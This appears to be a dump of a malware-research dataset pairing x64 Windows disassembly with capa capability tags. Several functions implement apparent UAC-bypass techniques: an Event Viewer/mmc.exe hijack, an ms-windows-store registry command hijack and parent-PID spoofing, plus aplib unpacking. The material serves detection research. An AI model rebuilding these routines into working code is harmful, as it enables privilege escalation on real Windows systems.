joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400169c4
Capabilities:
Delete file
Get common file path

Disassembly:
jmp 0x14002b020
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x778
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x146
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x798]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x748], rax
lea rcx, [0x14007d1da]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov r9, qword [rbp + 0x770]
lea r8, str.pe386
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
lea r9, [rbp + 0x88]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140064d38]
call fcn.1400164e2
test eax, eax
jge 0x14002b0c6
jmp 0x14002b204
mov rcx, qword [rbp + 0x88]
call fcn.1400162a3
lea rax, [rax + rax + 0x208]
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xc8]
call fcn.140016695
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14002b103
jmp 0x14002b204
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xa8]
call fcn.1400161f9
lea rdx, str.MicrosoftEvent_ViewerRecentViews
mov rcx, qword [rbp + 0xa8]
call fcn.140016af0
mov rax, qword [0x140073c18]
cmp dword [rax + 8], 0x23f0
jae 0x14002b14d
lea rax, [0x140053000]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x20eb
jmp 0x14002b15f
lea rax, [0x140052a70]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x583
mov r9d, 0x7a7a7a7a
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0xa8]
call fcn.140016023
test eax, eax
jne 0x14002b182
jmp 0x14002b204
mov rax, qword [0x140073c18]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400161f9
lea rdx, str.mmc.exe
lea rcx, [rbp + 0xf0]
call fcn.140016af0
mov r9d, 5
xor r8d, r8d
lea rdx, str.eventvwr.msc
lea rcx, [rbp + 0xf0]
call fcn.140016118
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14002b1fa
mov edx, 0xc350
lea rcx, str.mmc.exe
call fcn.1400169f1
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002b08e
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
cmp qword [rbp + 0xa8], 0
je 0x14002b234
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0xa8]
call fcn.140016c1c
xor r9d, r9d
lea r8, str.pe386
xor edx, edx
mov ecx, 1
call fcn.1400160d7
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x748]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x758]
pop rdi
pop rbp
ret
Function at 0x140016a69
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
jmp 0x1400399c0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xa78
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1d6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa98]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0xa48], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov dword [rbp + 4], 1
mov dword [rbp + 0x24], 1
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x2c0]
call fcn.1400165af
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x140039a68
mov r8d, 0x104
lea rdx, [0x140062618]
lea rcx, [rbp + 0x2c0]
call fcn.140016983
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0xffffffffffffffff
je 0x140039b48
cmp dword [rbp + 4], 0
je 0x140039b48
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x90]
call fcn.1400165af
mov r8d, 0x104
lea rdx, [rbp + 0x51c]
lea rcx, [rbp + 0x90]
call fcn.140016983
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
je 0x140039b15
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x51c]
cmp eax, 0x2e
je 0x140039b15
lea rcx, [rbp + 0x90]
call fcn.140016a69
test eax, eax
jne 0x140039b06
mov dword [rbp + 0x24], 0
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x140039b2f
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
jne 0x140039b2f
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x4f0]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [rbp + 4], eax
jmp 0x140039a80
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x140039b84
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140039b84
mov dword [rbp + 0x24], 0
mov eax, dword [rbp + 0x24]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140061af0]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0xa48]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0xa58]
pop rdi
pop rbp
ret
Function at 0x140016a6e
Capabilities:
Set registry value

Disassembly:
jmp 0x140027a60
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4a8]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, [0x14007cdd2]
call fcn.140016b68
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
lea rdx, [rbp + 8]
xor ecx, ecx
call fcn.14001675d
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140027ad5
mov eax, dword [rbp + 0x44]
jmp 0x140027c58
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ms_windows_store
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140027b50
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 1
xor r8d, r8d
lea rdx, str.URL_Protocol
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.ms_windows_store
lea rcx, [rbp + 0x90]
call fcn.1400161f9
lea rdx, str._shellopen
lea rcx, [rbp + 0x90]
call fcn.140016af0
lea rdx, [0x14004d530]
lea rcx, [rbp + 0x90]
call fcn.140016af0
lea rdx, str.command
lea rcx, [rbp + 0x90]
call fcn.140016af0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140027c44
mov rcx, qword [rbp + 0x450]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x68]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x450]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14004d72c]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140027c31
mov dword [rbp + 0x44], 0
jmp 0x140027c38
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140027c4b
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [rbp + 0x44]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004cca0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret
Function at 0x140016ac3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
jmp 0x14001f0b0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xbe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x14007c7c9]
call fcn.140016b68
mov dword [rbp + 4], 0
mov r9, qword [rbp + 0x4a8]
mov r8, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x490]
call fcn.1400167f3
test eax, eax
je 0x14001f13e
mov eax, 1
jmp 0x14001f254
mov rcx, qword [rbp + 0x490]
call fcn.1400162a3
add rax, 0x108
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
shl rax, 1
mov rcx, rax
call fcn.140016695
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14001f175
xor eax, eax
jmp 0x14001f254
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x68]
call fcn.1400161f9
mov r8, qword [rbp + 0x28]
lea rdx, [0x1400454bc]
mov rcx, qword [rbp + 0x68]
call fcn.140016983
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
je 0x14001f248
mov eax, dword [rbp + 0x90]
and eax, 0x10
test eax, eax
je 0x14001f225
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0xbc]
cmp eax, 0x2e
je 0x14001f225
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x68]
call fcn.1400161f9
lea rdx, [rbp + 0xbc]
mov rcx, qword [rbp + 0x68]
call fcn.140016af0
mov r9, qword [rbp + 0x4a8]
mov r8, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x68]
call fcn.140016ac3
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14001f225
jmp 0x14001f23e
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14001f1b9
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x68]
call fcn.140016c1c
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140045330]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x478]
pop rdi
pop rbp
ret
Function at 0x140016b95
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140036de0
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x188]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0x1000
mov dword [rbp + 0x64], 0
mov eax, dword [rbp + 0x24]
mov ecx, eax
call fcn.140016695
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140036e56
xor eax, eax
jmp 0x140036ec6
lea r9, [rbp + 0x64]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov ecx, dword [rbp + 0x160]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xc0000004
jne 0x140036ea8
mov rcx, qword [rbp + 8]
call fcn.140016c1c
mov eax, dword [rbp + 0x24]
shl eax, 1
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0x20000000
jbe 0x140036e98
xor eax, eax
jmp 0x140036ec6
mov eax, dword [rbp + 0x24]
mov ecx, eax
call fcn.140016695
mov qword [rbp + 8], rax
jmp 0x140036e56
cmp dword [rbp + 0x44], 0
jl 0x140036eb4
mov rax, qword [rbp + 8]
jmp 0x140036ec6
cmp qword [rbp + 8], 0
je 0x140036ec4
mov rcx, qword [rbp + 8]
call fcn.140016c1c
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400600c0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140016c0d
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
jmp 0x140027ee0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x4f8
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0xc6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x518]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x488], rax
lea rcx, [0x14007cdd2]
call fcn.140016b68
mov dword [rbp + 0x44], 0
mov dword [rbp + 0xa4], 0
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001b
xor r8d, r8d
mov rdx, qword [rbp + 0x4b8]
mov rcx, qword [rbp + 0x4b0]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140027f73
jmp 0x1400280eb
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x44]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
je 0x140027fd6
jmp 0x1400280eb
cmp dword [rbp + 0x44], 0
jne 0x140027fe1
jmp 0x1400280eb
mov edx, 0x20a
lea rcx, [rbp + 0xd0]
call fcn.140016825
mov dword [rbp + 0x24], 0
jmp 0x140028003
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x44]
cmp dword [rbp + 0x24], eax
jae 0x1400280e1
mov dword [rbp + 0x84], 0
mov dword [rbp + 0x64], 0x104
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
lea rax, [rbp + 0x84]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x64]
lea r8, [rbp + 0xd0]
mov edx, dword [rbp + 0x24]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x1400280dc
cmp dword [rbp + 0x84], 3
jne 0x1400280a7
mov rdx, qword [rbp + 0x4c0]
lea rcx, [rbp + 0xd0]
call fcn.140016bb8
test rax, rax
je 0x1400280a7
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne 0x1400280a7
mov eax, dword [rbp + 0xa4]
inc eax
mov dword [rbp + 0xa4], eax
mov eax, 2
imul rax, rax, 0
mov qword [rbp + 0x478], rax
cmp qword [rbp + 0x478], 0x20a
jae 0x1400280c6
jmp 0x1400280cb
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x478]
mov word [rbp + rcx + 0xd0], ax
jmp 0x140027ffb
xor eax, eax
test eax, eax
jne 0x140027f44
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rbp + 0xa4]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14004ce70]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x488]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x498]
pop rdi
pop rbp
ret
Function at 0x140016c2b
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x14003a830
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x298]
mov rax, qword [0x140073348]
xor rax, rbp
mov qword [rbp + 0x218], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x260]
bts eax, 0x1a
or eax, 0x20
mov dword [rbp + 0x24], eax
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
cmp qword [rbp + 0x270], 0
je 0x14003a8c7
mov rax, qword [rbp + 0x270]
mov qword [rax], 0
mov edx, 0x18
lea rcx, [rbp + 0x138]
call fcn.140016825
mov edx, 0x70
lea rcx, [rbp + 0xb0]
call fcn.140016825
mov rcx, qword [rbp + 0x250]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x88], rax
mov rcx, qword [rbp + 0x88]
call fcn.140016695
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x14003aabf
mov rdx, qword [rbp + 0x250]
mov rcx, qword [rbp + 0x68]
call fcn.1400161f9
mov dword [rbp + 0xb0], 0x70
mov qword [rbp + 0x88], 0x30
cmp qword [rbp + 0x88], 0x400
jbe 0x14003a953
jmp 0x14003aab6
mov rcx, qword [rbp + 0x88]
call fcn.140016695
mov qword [rbp + 0x118], rax
cmp qword [rbp + 0x118], 0
je 0x14003aaa7
lea r9, [rbp + 0x88]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x14003aa9b
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x240]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x14003aa84
mov dword [rbp + 0xec], 1
movzx eax, word [rbp + 0x268]
mov word [rbp + 0xf0], ax
mov eax, dword [rbp + 0x24]
bts eax, 0x13
lea rcx, [rbp + 0x138]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rbp + 0x258]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14003aa84
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x270], 0
je 0x14003aa77
mov rax, qword [rbp + 0x270]
mov rcx, qword [rbp + 0x140]
mov qword [rax], rcx
jmp 0x14003aa84
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x118], 0
je 0x14003aa9b
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp + 0x118]
call fcn.140016c1c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x14003a941
mov rcx, qword [rbp + 0x68]
call fcn.140016c1c
mov rax, qword [rbp + 0x48]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400617c0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x218]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret
Function at 0x1406ab058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406ab1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406ab089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406ab06f
add dl, dl
jne 0x1406ab096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406ab0f6
xor eax, eax
add dl, dl
jne 0x1406ab0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406ab1ad
add dl, dl
jne 0x1406ab0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406ab0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406ab0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406ab0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406ab0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406ab07e
mov eax, 1
add dl, dl
jne 0x1406ab106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406ab113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406ab0fb
sub eax, ebx
mov ebx, 1
jne 0x1406ab14c
mov ecx, 1
add dl, dl
jne 0x1406ab12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406ab13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406ab123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406ab07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406ab168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406ab175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406ab15d
cmp eax, 0x7d00
jae 0x1406ab19b
cmp eax, 0x500
jb 0x1406ab196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406ab07e
cmp eax, 0x7f
ja 0x1406ab19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406ab07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406ab1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406ab07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400111e0
Capabilities:
Terminate process

Disassembly:
jmp 0x140014e00
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001125d
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012c10
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012c30
xor al, al
jmp 0x140012cb1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012c43
xor al, al
jmp 0x140012cb1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012c6d
xor al, al
jmp 0x140012cb1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012c81
xor al, al
jmp 0x140012cb1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012c93
xor al, al
jmp 0x140012cb1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012caf
xor al, al
jmp 0x140012cb1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400440e0
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
sub rsp, 0x108
mov r8, rdx
mov rdx, rcx
mov qword [rsp + 0x98], rdx
mov qword [rsp + 0xa0], r8
mov eax, 0xffffffff
mov eax, eax
mov r9d, eax
lea rcx, [rsp + 0x58]
lea rax, [0x14035ba40]
mov qword [rsp + 0x20], rax
call fcn.140043580
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x58]
call fcn.1400436c0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x70]
call fcn.1400436e0
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x88]
mov eax, 1
xor ecx, ecx
cmp rdx, 0
cmove rax, rcx
cmp rax, 0
jne 0x140044191
mov dword [rsp + 0x3c], 0
jmp 0x14004422e
mov rdx, qword [rsp + 0x88]
mov qword [rsp + 0x28], rdx
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0xa8], rdx
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xe0], 0
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0xd8], rcx
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0xf8], rdx
mov qword [rsp + 0x100], rax
mov r8d, eax
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0xb8], eax
shr eax, 0x1e
cmp eax, 3
je 0x14004423a
jmp 0x14004414d
mov eax, dword [rsp + 0x3c]
add rsp, 0x108
ret
mov rcx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf0], rax
mov edx, eax
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
mov byte [rsp + 0xbf], al
cmp al, 0
jne 0x14004414d
mov ecx, dword [rsp + 0x38]
xor ecx, 0x80000000
mov dword [rsp + 0xc0], ecx
call fcn.140043420
mov ecx, eax
mov dword [rsp + 0xc4], ecx
call fcn.140043f30
mov dword [rsp + 0x3c], eax
jmp 0x14004422e

Function at 0x1400c30b0
Capabilities:
Hash data using fnv

Disassembly:
